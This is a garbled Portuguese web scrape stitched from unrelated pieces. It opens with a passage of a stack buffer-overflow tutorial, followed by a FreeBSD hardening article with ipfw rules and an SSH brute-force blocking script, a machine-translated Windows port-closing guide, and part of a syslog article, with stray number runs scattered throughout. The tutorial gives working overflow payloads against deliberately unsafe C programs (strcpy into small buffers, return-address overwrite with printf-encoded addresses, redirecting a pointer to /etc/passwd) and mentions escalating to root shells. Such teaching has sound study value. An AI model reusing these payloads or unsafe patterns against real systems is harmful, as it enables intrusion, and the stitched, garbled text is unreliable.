nesse cdigo no ah uma verificao para mudar o valor da varivel 'admin' de '0', para algo diferente de zero, que validaria o nosso 'if', o nico jeito, seria com um overflow, neste caso, as variveis so locais da funo main, logo elas so armazenados na pilha(stack), as variveis na pilha se organizam dessa forma: ------------------------------------Endereos Altos |---------------| <- ebp | 0x00000000 | admin

3 7 1 3 8 1 3 9 1 4 0 1 4 1 1 4 2 1 4 3 1 4 4 1 4 5 1 4 6 1 4 7 1 4 8 1 4 9 1 5 0 1 5 1 1 5 2 1 5 3 1 5 4 1 5 5 1 5 6 1

Pilha Cresce |---------------| | | 0x???????? | V | 0x???????? | | 0x???????? | | 0x???????? | user[16] |---------------| <- esp Endereos Baixos ------------------------------------Os '0x??' representam os bytes que no sabemos, j que um buffer no inicializado, e acima temos os o espao para a varivel 'admin', com o valor zero. Outra maneira de visualizar seria na horizontal: ------------------------------------esp | v <--- pilha cresce V ebp |

:user[16]

|????????????????|0000| :admin

------------------------------------O que faremos para conseguimos o overflow encher o buffer 'user' para atingirmos a varivel 'admin', vamos tentar: ------------------------------------m0nad@m0nad-desktop:~$ ./bo_admin m0nad Bem vindo m0nad m0nad@m0nad-desktop:~$ ./bo_admin m0nad____________ Bem vindo m0nad____________ HACKED! Voce eh admin m0nad@m0nad-desktop:~$ ------------------------------------HACKED! somos admin! :) Isso acontece porque a varivel 'user', sofreu um transbordamento e atingiu a varivel 'admin', modicando seu contedo para algo diferente de '0', validando assim o nosso 'if', que verifica se somos admins. Vamos ver como isso ficou: ------------------------------------|---------------| <- ebp | 0x0000005f |---------------| | 0x5f5f5f5f | 0x5f5f5f5f | 0x5f5f5f64 | 0x616e306d |---------------| <- esp -------------------------------------

| admin | | | | user[16]

5 7 1 5 8 1 5 9 1 6 0 1 6 1 1 6 2 1 6 3 1 6 4 1 6 5 1 6 6 1 6 7 1 6 8 1 6 9 1 7 0 1 7 1 1 7 2 1 7 3 1 7 4 1 7 5 1 7 6 1

Podemos ver os valores em hexa da string, e como o caractere '_' atingiu a varivel 'admin', modificando assim o seu valor, vamos ver na horizontal: ------------------------------------esp | v <--- pilhs cresce V ebp |

:user[16]

|m0nad___________|_000| :admin

------------------------------------Acho que ficou fcil de entender o que acontece nesse overflow, vamos para outro exemplo. Podemos tambm, sobrescrever por exemplo, um ponteiro. Vejamos o cdigo: ------------------------------------m0nad@m0nad-desktop:~$ cat bo_pointer.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char ** argv) { char * arquivo = "/tmp/arquivo"; char buffer[4]; if (argc > 1 ) { printf("Arquivo antes : %s\n", arquivo); strcpy(buffer, argv[1]); //aqui o overflow printf("Arquivo depois : %s\n", arquivo); } } m0nad@m0nad-desktop:~$ gcc -o bo_pointer bo_pointer.c -fno-stack-protector m0nad@m0nad-desktop:~$ ./bo_pointer AAA Arquivo antes : /tmp/arquivo Arquivo depois : /tmp/arquivo ------------------------------------Sera que conseguimos transbordar a varivel buffer, ate' chegarmos na varivel 'arquivo'? Hmm...vamos ver :) ------------------------------------m0nad@m0nad-desktop:~$ ./bo_pointer AAAA Arquivo antes : /tmp/arquivo Arquivo depois : u []US

7 7 1 7 8 1 7 9 1 8 0 1 8 1 1 8 2 1 8 3 1 8 4 1 8 5 1 8 6 1 8 7 1 8 8 1 8 9 1 9 0 1 9 1 1 9 2 1 9 3 1 9 4 1 9 5 1 9 6 1

------------------------------------Vemos que de alguma forma afetamos o endereo para onde a varivel ponteiro 'arquivo' estava apontando. Isso ocorre pois o buffer s tem a capacidade de armazenar 4 bytes, ou seja, no mximo 3 'A's e mais o nullbyte. Algo como: ------------------------------------buffer[0] = 'A'; buffer[1] = 'A'; buffer[2] = 'A'; buffer[3] = '\0'; ------------------------------------Quando colocamos mais do que 4 bytes, o buffer 'acima' sobrescrito. Mas ser que podemos colocar um endereo valido? Claro que sim! veja o exemplo! (lembre-se de desabilitar o ASLR, como mencionei a cima) ------------------------------------m0nad@m0nad-notebook:~$ export HACK="/etc/passwd" m0nad@m0nad-notebook:~$ ./getenv HACK bffff62c m0nad@m0nad-notebook:~$ ./bo_pointer AAAA`printf "\x2c\xf6\xff\xbf"` Arquivo antes : /tmp/arquivo Arquivo depois : swd m0nad@m0nad-notebook:~$ ./bo_pointer AAAA`printf "\x24\xf6\xff\xbf"` Arquivo antes : /tmp/arquivo Arquivo depois : /etc/passwd m0nad@m0nad-notebook:~$ ------------------------------------Sucesso! Conseguimos alterar o valor da varivel! para algo que queriamos. Vejam que colocamos o endereo em 'little endian', onde o valor 0xbffff62c, ficou '2c f6 ff bf'. mas s pegou o 'swd', isso por causa do alinhamento da pilha, com um pequeno clculo, colocamos o endereo certo, e conseguimos o '/etc/passwd'. Bem se fosse um suidroot, que alteraria esse arquivo temporrio, baseado em algo que escrevemos, poderiamos possivelmente escrever dentro de /etc/passwd, adicionando talvez um usurio como root! abaixo o cdigo do 'getenv': ------------------------------------#include <stdio.h> #include <stdlib.h> int main(int argc, char ** argv) { char * path; if (argc < 2) { puts("Sem argumentos"); exit(1); } path = getenv (argv[1]); if (path!=NULL)

9 7 1 9 8 1 9 9 2 0 0 2 0 1 2 0 2 2 0 3 2 0 4 2 0 5 2 0 6 2 0 7 2 0 8 2 0 9 2 1 0 2 1 1 2 1 2 2 1 3 2 1 4 2 1 5 2 1 6 2

printf ("O endereo e': %p\nSeu contedo e': %s\n", path, path); return 0; } ------------------------------------Tomar o controle do fluxo da aplicao! Podemos sobrescrever por exemplo, um ponteiro para uma funo, alterando-o para o endereo de qualquer funo dentro do cdigo, ou mesmo fora dele, quando essa varivel tipo ponteiro para funo foce chamada, executaria oque apontarmos, no caso de um suidroot, poderamos executar uma shell recebendo assim acesso root! Ou no caso de um servidor, nos dando acesso ao sistema. Bem, mas isso nem sempre necessrio, j que quando se tratando de buffer overflows em variveis locais, que so localizadas na pilha(stack), ento estamos tratando de transbordamentos dentro da pilha (stack-based buffer overflows), podemos sobrescrever o 'endereo de retorno', que salvo na pilha a cada vez que se chama uma funo. Por exemplo, em assembly quando se chama uma funo usamos a instruo 'call', seguida do endereo da funo, ex: ------------------------------------m0nad@m0nad-desktop:~$ cat > puts.c #include <stdio.h> int main() { puts("exemplo"); return 0; } ^C m0nad@m0nad-desktop:~$ gcc -o puts puts.c m0nad@m0nad-desktop:~$ ./puts exemplo m0nad@m0nad-desktop:~$ gdb puts GNU gdb (GDB) 7.1-ubuntu Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Lendo smbolos de /home/m0nad/puts...(no debugging symbols found)...concludo. (gdb) disas main Dump of assembler code for function main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: and $0xfffffff0,%esp 0x080483ea <+6>: sub $0x10,%esp 0x080483ed <+9>: movl $0x80484c0,(%esp) 0x080483f4 <+16>: call 0x8048318 <puts@plt> 0x080483f9 <+21>: leave 0x080483fa <+22>: ret End of assembler dump. (gdb)

1 7 2 1 8 2 1 9 2 2 0 2 2 1 2 2 2 2 2 3 2 2 4 2 2 5 2 2 6 2 2 7 2 2 8 2 2 9 2 3 0 2 3 1 2 3 2 2 3 3 2 3 4 2 3 5 2 3 6 2

------------------------------------Usando o gdb, com o comando 'disas main', nos 'disassemblamos' a funo main, mostrando assim, as instrues utilizados para realizar esse cdigo. Vemos a linha ' 0x080483f4 <+16>: call 0x8048318 <puts@plt>', chamando a funo puts. Quando a instruo 'call' chamada, ela da um 'push' no endereo da prxima instruo, nesse caso '0x080483f9', ou seja, salva este endereo na pilha, e depois aplica um 'jmp' para '0x8048318', ou seja, da um pulo para essa parte do cdigo, que a funo 'puts', o motivo para que, a instruo 'call' salva o endereo na pilha, para saber, para onde o programa deve voltar, quando sair da funo 'puts', ou seja, aonde deve retornar dentro da funo 'main'. Sabendo disso, podemos sobrescrever esse endereo de retorno salvo na pilha! E assim tomar o controle do fluxo da aplicao! Vejamos: ------------------------------------m0nad@m0nad-desktop:~$ cat bo_hack.c #include <stdio.h> #include <string.h> #include <stdlib.h> void hack() { printf("Hacking!\n"); exit(0); } int main(int argc, char ** argv) { char bug[4]; if (argc > 1) { printf("Endereco de hack : %p\n", hack); strcpy(bug, argv[1]); //aqui o overflow } return 0; } ------------------------------------No chamamos em nenhum momento a funo hack(), vamos tentar dar um overflow e sobrescrever o endereo de retorno salvo na pilha, para depois jogar o eip para a funo hack e executa-la! ------------------------------------m0nad@m0nad-desktop:~$ gcc -o bo_hack bo_hack.c -fno-stack-protector m0nad@m0nad-desktop:~$ ./bo_hack AAAA Endereco de hack : 0x8048484 m0nad@m0nad-desktop:~$ ./bo_hack AAAAAAAAAAAAAAAA Endereco de hack : 0x8048484 Falha de segmentao m0nad@m0nad-desktop:~$ ------------------------------------Conseguimos um crash, vamos ver no gdb. -------------------------------------

3 7 2 3 8 2 3 9 2 4 0 2 4 1 2 4 2 2 4 3 2 4 4 2 4 5 2 4 6 2 4 7 2 4 8 2 4 9 2 5 0 2 5 1 2 5 2 2 5 3 2 5 4 2 5 5 2 5 6 2

m0nad@m0nad-desktop:~$ gdb bo_hack GNU gdb (GDB) 7.1-ubuntu Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Lendo smbolos de /home/m0nad/bo_hack...(no debugging symbols found)...concludo. (gdb) r AAAAAAAAAAAAAAAA Starting program: /home/m0nad/bo_hack AAAAAAAAAAAAAAAA Endereco de hack : 0x8048484 Program received signal SIGSEGV, Segmentation fault. 0xb7e8ab00 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6 (gdb) r AAAAAAAAAAAAAAAAAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/m0nad/bo_hack AAAAAAAAAAAAAAAAAAA Endereco de hack : 0x8048484 Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? () (gdb) r AAAAAAAAAAAAAAAAAAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/m0nad/bo_hack AAAAAAAAAAAAAAAAAAAA Endereco de hack : 0x8048484 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () ------------------------------------Vemos que recebemos um 'Segmentation fault' ------------------------------------'Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()' ------------------------------------Pois sobrescrevemos o endereo de retorno salvo na pilha, e este valor copiado para o contador de instrues (instruction pointer - eip), jogando o eip para '0x41414141' ou seja, o programa tenta pular pra esse endereo de memria, que nada mais so do que o valor em hexadecimal em ASCII do caractere 'A', como esta rea de memria no possui um cdigo valido ou permisso de execuo, o programa 'crasha', agora voc j sabe o porqu :). Caso colocarmos o endereo da funo 'hack' no exato lugar do de onde esta o '0x41414141', podemos executa-la! Vamos tentar: ------------------------------------(gdb) r AAAAAAAAAAAAAAAA`printf "\x84\x84\x04\x08"` The program being debugged has been started already.

5 7 2 5 8 2 5 9 2 6 0 2 6 1 2 6 2 2 6 3 2 6 4 2 6 5 2 6 6 2 6 7 2 6 8 2 6 9 2 7 0 2 7 1 2 7 2 2 7 3 2 7 4 2 7 5 2 7 6 2

Start it from the beginning? (y or n) y Starting program: /home/m0nad/bo_hack AAAAAAAAAAAAAAAA`printf "\x84\x84\x04\x08"` Endereco de hack : 0x8048484 Hacking! Program exited normally. (gdb) q m0nad@m0nad-desktop:~$ ./bo_hack AAAAAAAAAAAAAAAA`printf "\x84\x84\x04\x08"` Endereco de hack : 0x8048484 Hacking! m0nad@m0nad-desktop:~$ ------------------------------------Sucesso! com isso podemos setar o nosso endereo de retorno para qualquer lugar que quisermos! E assim tomar o controle da aplicao! Poderamos setar o endereo para um cdigo valido, feito por ns, chamado de shellcode ou payload, ou para um endereo da libc, como a funo system, e assim executar comandos na maquina, essa tcnica chamada de return to libc, ou seja, retornar para a libc, essa tcnica eu descrevo em um artigo meu Retornando para libC (https://raw.github.com/m0nad/Papers/master/ret2libc.txt), dando bypass no NX-Bit, outra tcnica seria Return-Oriented Programming, que retornaria para gadgets, pequenas instrues no binrio seguidas da instruo 'ret', estes gadgets encadeados formam o cdigo a ser executado, mas esta outra estoria :) - Concluso Buffer overflows so uma falha de segurana seria, que podem levar ao comprometimento da aplicao, travando-a, ou controlando seu fluxo, e dependendo do nvel de permisso da aplicao pode-se levar ao comprometimento do sistema.

7 7 2 7 8 2 7 9 2 8 0 2 8 1 2 8 2 2 8 3 2 8 4 2 8 5 2 8 6 2 8 7 2 8 8 2 8 9 2 9 0 2 9 1 2 9 2 2 9 3 2 9 4 2 9 5 2 9 6 2

9 7 2 9 8 2 9 9 3 0 0 3 0 1 3 0 2 3 0 3 3 0 4 3 0 5 3 0 6 3 0 7 3 0 8 3 0 9 3 1 0 3 1 1 3 1 2 3 1 3 3 1 4 3 1 5 3 1 6 3

1 7 3 1 8 3 1 9 3 2 0 3 2 1 3 2 2 3 2 3 3 2 4 3 2 5 3 2 6 3 2 7 3 2 8 3 2 9 3 3 0 3 3 1 3 3 2 3 3 3 3 3 4 3 3 5 3 3 6 3

3 7 3 3 8 3 3 9 3 4 0 3 4 1 3 4 2 3 4 3 3 4 4 3 4 5 3 4 6 3 4 7 3 4 8 3 4 9 3 5 0 3 5 1 3 5 2 3 5 3 3 5 4 3 5 5 3 5 6 3

5 7 3 5 8 3 5 9 3 6 0 3 6 1 3 6 2 3 6 3 3 6 4 3 6 5 3 6 6 3 6 7 3 6 8 3 6 9 3 7 0 3 7 1 3 7 2 3 7 3 3 7 4 3 7 5 3 7 6 3

7 7 3 7 8 3 7 9 3 8 0 3 8 1 3 8 2 3 8 3 3 8 4 3 8 5 3 8 6 3 8 7 3 8 8 3 8 9 3 9 0 3 9 1 3 9 2 3 9 3 3 9 4 3 9 5 3 9 6 3

9 7 3 9 8 3 9 9 4 0 0 4 0 1 4 0 2 4 0 3 4 0 4 4 0 5 4 0 6 4 0 7 4 0 8 4 0 9 4 1 0 4 1 1 4 1 2 4 1 3 4 1 4 4 1 5 4 1 6 4

1 7 4 1 8 4 1 9 4 2 0 4 2 1 4 2 2 4 2 3 4 2 4 4 2 5 4 2 6 4 2 7 4 2 8 4 2 9 4 3 0 4 3 1 4 3 2 4 3 3 4 3 4 4 3 5 4 3 6 4

3 7 5 8 5 5 8 6 5 8 7 5 8 8 5 8 9 5 9 0 5 9 1 5 9 2 5 9 3 5 9 4 5 9 5 5 9 6 5 9 7 5 9 8 5 9 9 6 0 0 6 0 1 6 0 2 6 0 3

Melhorando a segurana do seus servidores em FreeBSD

cardosoalcir 21/03/2007 Pra quem me conhece ou j leu meus outros artigos, j percebeu que minha vida o FreeBSD. Sinceramente nunca usei o Linux como sistema de um servidor (apenas como desktop), mas este artigo, apesar de ser voltado para o FreeBSD (hihi), com certeza ajudar a voc que usa Linux a melhorar a segurana dos seus servidores. Por: Alcir Cardoso | Blog: http://maboo.us [ Hits: 21494 ] Conceito: 6.2 Denuncie + Favoritos + quero dar nota ao artigo Verso para impressora Indicar para um amigo Enviar artigo

Definies gerais

Com certeza um dos principais problemas hoje no so os verdadeiros crackers que potencialmente tem capacidade de tomar posse dos nossos sistemas, mas sim, aqueles "metidos a crackers" que vivem scaneando nossos sistemas, procurando portas, usando o brute force e fazendo conexes telnet em todas as portas abertas que encontram. Apesar de na maioria das vezes no representarem um risco real, j que ningum mais usa "love" como senha, sempre so uma pedra no sapato, lotando nossa conexo, aumentando o tamanho dos nossos logs, deixando servios assoberbados com tantas conexes. Para ter uma noo de como so chatos esses "metidos a sabicho" certa vez tive um link de 2Mb lotado apenas com ICMP. dose pra elefante. Nesse artigo pretendo dar algumas dicas de segurana que eu comecei a usar ao longo do tempo que uso FreeBSD. Talvez os exemplos no sirvam para outras distribuies, mas os princpios com certeza lhe ajudaro a chegar a uma soluo para a sua distribuio.

Parando o que no usa


Mais ou menos 70% das minhas instalaes de FreeBSD so para fazer router com proxy, e por padro meu se eu no uso eu paro, por exemplo, em um firewall pra que usar as portas USB?? Adicione estas linhas no teu /etc/rc.conf. #Desabilita os USBs usb_enable="NO" #Desabilita o file server padro do free nfs_reserved_port_only="NO" #para o sendmail, que default do free sendmail_enable="NONE" sendmail_submit_enable="NO" sendmail_outbound_enable="NO" sendmail_msp_queue_enable="NO" #Desativa o syslog na porta udp 514 #isso s usado para servidor de log #e mais uma porta esperando um scan syslogd_flags="-ss" #O portmap utilizado para RPC - Remote Procedure Call portmap_enable="NO" #Limpa o temp clear_tmp_enable="YES" Com certeza tem mais coisas, mas a depende da realidade de cada sistema e tambm do que voc usa no teu server, por exemplo, se voc tem um script que manda email, no vai parar o sendmail. Outro pacote default do FreeBSD o named, mas esse eu sempre configuro nos meus routers, um resoluo DNS na rede local melhor do que ir buscar l longe...

Servios
Bom, lembram que no inicio do arquivo eu falei que certa vez tive um link de 2Mb lotado apenas com ICMP (ping). Pois , sei que parece brincadeira mas foi. Desde ento sempre uso umas regrinhas a mais nos meus arquivos /etc/rc.local.

#fechando o icmp na interface externa /sbin/ipfw add deny icmp from any to any in via bge1 icmptypes 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 Com essa regra eu bloqueio todo o icmp que passa na interface externa (bge1) do servidor. Ela tambm ir bloquear um ping vindo da rede interna para a rede externa. Outro problema o ssh. Este servio com um pouco de planejamento pode ser liberado para apenas alguns hosts dos quais voc acessa os teus sistemas. No exemplo abaixo vou mostra como liberar a conexo ssh vinda de um host e bloqueando toda tentativa fora dessa regra. Adicione estas linhas no /etc/rc.local. /sbin/ipfw add allow tcp from 200.xxx.xxx.98 to 200.yyy.yyy.38 22 /sbin/ipfw add allow tcp from 200.yyy.yyy.38 to 200.xxx.xxx.98 22 /sbin/ipfw add deny all from any to any 22 in via bge1 No exemplo acima entenda 200.yyy.yyy.38 como o ip da sua casa por exemplo, e 200.xxx.xxx.98 o ip do servidor onde voc ir conectar. Na outra linha, bge1 a interface externa. Um outro servio que as vezes instalamos para uso prprio mas que no precisa ficar aberto ao pblico o ftp, o exemplo acima pode ser utilizado alterando-o para a porta 21. Mais uma coisa a seu preocupar, normalmente quando voc instala um proxy como o Squid, nunca fecha a 3128 na interface externa. J pensou nisso? O teu proxy no pblico para que outras pessoas fiquem utilizando ele...

Spoofing e outros
Sinceramente o UDP mais usado para p2p, mas alguns servios que so muitos necessrios o udp super necessrio, o caso do DNS. Essas linhas so do rc.local. #Aqui libero o dns e fecho todo o resto do udp nas duas interfaces #Bloqueio de udp /sbin/ipfw add allow udp from any to any 53 /sbin/ipfw add allow udp from any to any 53 /sbin/ipfw add deny udp from any to any in via bge0 /sbin/ipfw add deny udp from any to any out via bge0 /sbin/ipfw add deny udp from any to any in via bge1 /sbin/ipfw add deny udp from any to any out via bge1

# bloqueia pacotes fragmentados/alterados/inconformes /sbin/ipfw add drop tcp from any to any frag /sbin/ipfw add drop tcp from any to any tcpflags syn,rst /sbin/ipfw add drop tcp from any to any tcpflags syn,fin /sbin/ipfw add drop all from any to any ipoptions lsrr /sbin/ipfw add drop all from any to any ipoptions ssrr /sbin/ipfw add deny tcp from any to any ipoptions ssrr,lsrr,rr #Aqui bloqueando o spoofing # Bloqueio de pacotes com endereo origem de classes #de endereamento IP reservadas /sbin/ipfw add deny ip from 10.0.0.0:255.0.0.0 to 200.xxx.xxx.98 via bge1 in /sbin/ipfw add deny ip from 172.16.0.0:255.0.0.0 to 200.xxx.xxx.98 via bge1 in /sbin/ipfw add deny ip from 192.168.0.0:255.255.0.0 to 200.xxx.xxx.98 via bge1 in No exemplo acima o 200.xxx.xxx.98 o ip publico da interface externa.

Brute Force Blocking


Este aqui um script que eu achei aqui no VOL e dei uma melhora sem falar na adaptao para FreeBSD. O primeiro passo foi instalar o bash. Depois o script: #!/usr/local/bin/bash MODE="AUTO" #MODE="MANUAL" if [ -f /var/log/auth.log ] ; then ips=$(cat /var/log/auth.log | grep -i illegal | grep -i sshd | awk -F" " {'print $15'}) attempts=1 for ip in $ips ; do lastip=$ip if [ "$lastip" == "$ip" ] ; then attempts=$(expr $attempts + 1) if [ $attempts -ge 3 ] ; then echo -n "Brute force SSHD ataque detectado vindo do ip $ip" > /dev/ttyv0

attempts=1 lastip="" blocked=$(ipfw list | grep $ip | grep deny) if [ "$blocked" ] ; then echo -n "> Ip j bloqueado. Continuando com o scan" > /dev/ttyv0 echo -n " " > /dev/ttyv0 else if [ $MODE == "MANUAL" ] ; then echo "> Voc deseja bloquear este ip nas regras do IPFW? (y/n)" read resp if [ "$resp" == "y" ] ; then /sbin/ipfw add deny ip from any to $ip /sbin/ipfw add deny ip from $ip to any echo "> IP $ip adicionado as regras de bloqueio" echo " " fi else /sbin/ipfw add deny ip from any to $ip /sbin/ipfw add deny ip from $ip to any echo -n "> IP $ip adicionado as regras de bloqueio" > /dev/ttyv0 echo -n " " > /dev/ttyv0 #echo $ip >> /var/log/ips fi fi fi fi done fi Agora salve, de permisso de executvel e agende sua execuo no cron, eu coloquei a cada 10 min. Acredito que lendo ele voc j entender seu funcionamento, mas explicando ele l as ltimas 15 linhas do arquivo /var/log/auth.log em busca de tentativas de login, e bloqueia os ips que realizaram 3 tentativas infelizes. Esta soluo no precisa ser usada se voc esta fazendo controle na conexo na porta 22. artigo

Consideraes finais
Nem todo mundo gosta de deixar seu sistema com regras de acesso to restritas, porque sempre esto em movimento, utilizando vrios locais para realizar suporte e manuteno aos seus sistemas. Portanto, tudo depende de como e de onde voc acessa seus sistemas. Opes web sempre so interessantes, pois dificilmente voc ter um firewall bloqueando o teu acesso a determinados servios disponvel no teu servidor. Espero ter ajudado, minha inteno no foi dar aula de segurana, longe disso, at porque eu tambm no sou um expert. Mas minha inteno foi alvoroar seus sentidos a criar regras cada vez mais especficas para cada caso sem prejudicar o rendimento final. Vale ressaltar que regras de firewall usam memria e processador. Daqui a pouco sua net vai estar lenta devido ao teu router estar "de pernas abertas" com tantas entradas no firewall. Linuxmanacos, usem, abusem da criatividade, faam, fucem, mexam, acrescentem, errem, acertem, criem, desenvolvam, apaguem e faam de novo. Com certeza uma ferramenta que voc desenvolveu agora pode ser a ideal para esta soluo, mas e para a prxima??? Mas e aquelas regras que voc criou no vero passado? ser que no esto precisando de um novo release? Otimizao, essa palavra chave. Ou ento aquele teu 333Mhz com um firewallzinho pode ficar legal n? Grande abrao Alcir Cardoso

Vulnerabilidades comuns como fechar a porta! Ol... Para tornar seu sistema em uma fortaleza inexpugnvel, estas portas devem ser fechadas. existem: TCP e UDP portas 135,139,445,593,1025 135.137.138.445 porta, o nmero da porta do porta traseira de um vrus pandmico (como TCP 2745, 3127,6129 portas) e servio de acesso remoto 3389. 1 off porta 139: Boto direito do mouse em Meus locais de rede - Propriedades - boto direito do mouse em Conexo Local - Propriedades - internet protocol / (TCP / IP) Propriedades - Advanced - WINS - Desativar TCP / IP no NETBIOS - OK. 2 boto direito do mouse - Meus Locais de Rede - Propriedades / Conexo Local Propriedades no cliente de rede microsoft antes Komagari removido. Em seguida, tambm o arquivo de rede microsoft e impressora partilha Komagari tambm ser removido. 3 off 445 port: Abra o Editor do Registro, em [HKEY_LOCAL_MACHINE \ SYSTEM

\ CurrentControlSet \ Services \ NetBT \ Parameters] para aumentar uma chave dword com o nome "SMBDeviceEnabled" (sem as aspas), o valor a 0. Aps reiniciar o computador, desligue o 445. 4. Feche a porta 3389: boto direito do mouse em Meu computador em propriedades remota, para permitir que este computador envie convites de Assistncia Remota antes de remover o gancho. 5. Feche a porta 135: Como fechar a porta 135 do sistema Windows XP rodando dcomcnfg. expanda: "Component Services" "Computador" no "Meu Computador" boto direito, selecione "Propriedades" mude para o "Propriedades Default" desmarque a opo "Enable distribuio COM tipo " em seguida, mudar para o" Acordo de default ", delete" IP orientado a conexo TCP / ". Estas opes so a chave de registro correspondente, ele tambm pode ser modificada atravs do Registro: HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Ole \ EnableDCOM valor de "N" HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Rpc \ DCOM Protocols delete "ncacn_ip_tcp " Alm disso, a necessidade de desativar o "Distributed Transaction Coordinator service". Aps a reinicializao, no h porta 135. Criado por: H4CK3R C4BR... Compartilhado por #M0rph...

Analisando arquivos de registro (log)

JuNiOx 09/01/2004 Nesse artigo abordada a configurao e o funcionamento do gerenciador de arquivos de registros, o syslogd. Os logs so os melhores amigos do administrador de sistemas e indispensvel um bom domnio sobre seu funcionamento e sintaxe. Por: Luiz Antonio da Silva Junior

[ Hits: 31195 ] Conceito: 10.0 Denuncie + Favoritos + quero dar nota ao artigo Verso para impressora Indicar para um amigo Enviar artigo

Introduo
As mquinas Unix possuem um sistema simples de registro, porm muito til. Os programas possuem duas alternativas principais para gerar arquivos de registro:

Mensagens do syslog
A forma mais comum pela qual os programas registram as informaes atravs do daemon syslogd. Trata-se de um programa cujo nico propsito oferecer um mtodo comum de registro para programas diferentes. O syslog determina o que fazer com os registros de acordo com dois tens: seus recursos e o nvel do registro.

Arquivos de registro gerenciados por processo


Alguns processos manipulam seu prprio registro, isso significa que os arquivos de registro contm sadas provenientes somente dessa fonte. Esses arquivos so, geralmente, determinados atravs dos argumentos da linha de comando ou de arquivos de configurao, ou at mesmo embutidos no cdigo no programa. Exemplo: o servidor Apache tem um arquivo de registro de acesso contendo as URLs acessadas e um de erros que armazena os problemas ocorridos (erros 404, CGI invlidas, etc). Cada programa que escreve seu prprio arquivo de registro (log) faz-se de forma diferente dos demais, porm, j que muitos usam o syslog, vamos ver um pouco mais sobre ele.

Configurando o syslogd
As mensagens do syslog so padronizadas com um recurso e um nvel especfico. O arquivo /etc/syslog.conf permite que voc especifique para onde iro as mensagens, conforme essas duas opes: Nvel de registro: os programas usam cada entrada do registro com um nvel de registro, de tal modo que o syslogd possa relatar ou ignor-lo, dependendo da configurao.

Recurso: o recurso do syslog simplesmente uma maneira de fazer com que um programa descreva em que grupo de registro se enquadra. Os recursos disponveis so: Nvel de registro Descrio emerg alert crit err warning notice info debug O sistema est inutilizvel Uma ao deve ser tomada imediatamente Condies crticas Condies de erro Condies de alerta Condies normais, porm importantes Mensagens informativas Mensagens de depurao

Entenda o syslog.conf
O arquivo /etc/syslog.conf controla quais mensagens sero registradas pelo syslogd. O formado de cada linha deve ser: recurso.nvel_do_registro Exemplo: daemon.notice /var/log/daemon.log alvo-registro

Essa linha escrever todos os registros de programas que estiver usando o recurso do daemon que tiver a prioridade notice ou mais alta, no arquivo /var/log/daemon.log. O destino para o qual as mensagens so distribudas pode estar em qualquer das formas a seguir:

Exemplo de um syslog.conf
# registra todas as mensagens em /var/log/messages *.debug /var/log/messages

# escreve em terminais quando situao realmente grave kern,daemon.crit /dev/console kern,daemon.crit root *.emerg * # separa outros arquivos.log para ser mais fcil a leitura kern.debug /var/log/kern.log mail.debug /var/log/mail.log daemon.debug /var/log/daemon.log auth.debug /var/log/auth.log syslog.debug /var/log/syslog.log authpriv.debug /var/log/authpriv.log ftp.debug /var/log/ftp.log # notice para os demais user.notice /var/log/user.log lpr.notice /var/log/lpr.log news.notice /var/log/news.log uucp.notice /var/log/uucp.log cron.notice /var/log/cron.log